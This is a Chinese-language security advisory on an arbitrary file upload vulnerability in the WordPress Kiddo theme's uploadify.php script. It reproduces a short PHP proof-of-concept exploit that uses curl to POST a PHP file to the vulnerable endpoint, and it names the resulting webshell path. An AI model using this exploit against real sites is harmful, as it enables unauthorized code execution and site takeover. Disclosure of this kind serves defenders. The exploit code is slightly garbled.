WordPress Kiddo Theme “uploadify.php”任意文件上传漏洞
发布日期：2014-02-11
更新日期：2014-02-13
受影响系统：
WordPress Kiddo 1.x
描述：
--------------------------------------------------------------------------------
WordPress Kiddo是WordPress的儿童主题。
WordPress Kiddo的/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php脚本允许上传任意扩展名的文件到webroot的文件夹内，如果上传的文件包含恶意PHP脚本，即可导致执行任意PHP代码。
<*来源：TUNISIAN CYBER
链接：http://secunia.com/advisories/56874/
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
?php
*/
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Kidoo WP Theme File Upload Vulnerability
[+] Date: 05-02-2014
[+] Category: WebApp
[+] Google Dork: :(
[+] Tested on: KaliLinux
[+] Vendor: n/a
[+] Friendly Sites: na3il.com,th3-creative.com
Kiddo WP theme suffers from a File Upload Vulnerability
+PoC:
site/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php
+Shell Path:
site/3vil.php
ScreenShot:
http://i.imgur.com/c62cWHH.png
Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
E4A Members:
Gastro-DZ
*/
echo "=============================================== \n";
echo " Kiddo WP Theme File Upload Vulnerability\n";
echo " TUNISIAN CYBER \n";
echo "=============================================== \n\n";
$uploadfile="cyber.php";
$ch = curl_init("site-content/themes/kiddo/app/assets/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
建议：
--------------------------------------------------------------------------------
厂商补丁：
WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://themeforest.net/item/kiddo-a-powerful-kids-theme/802808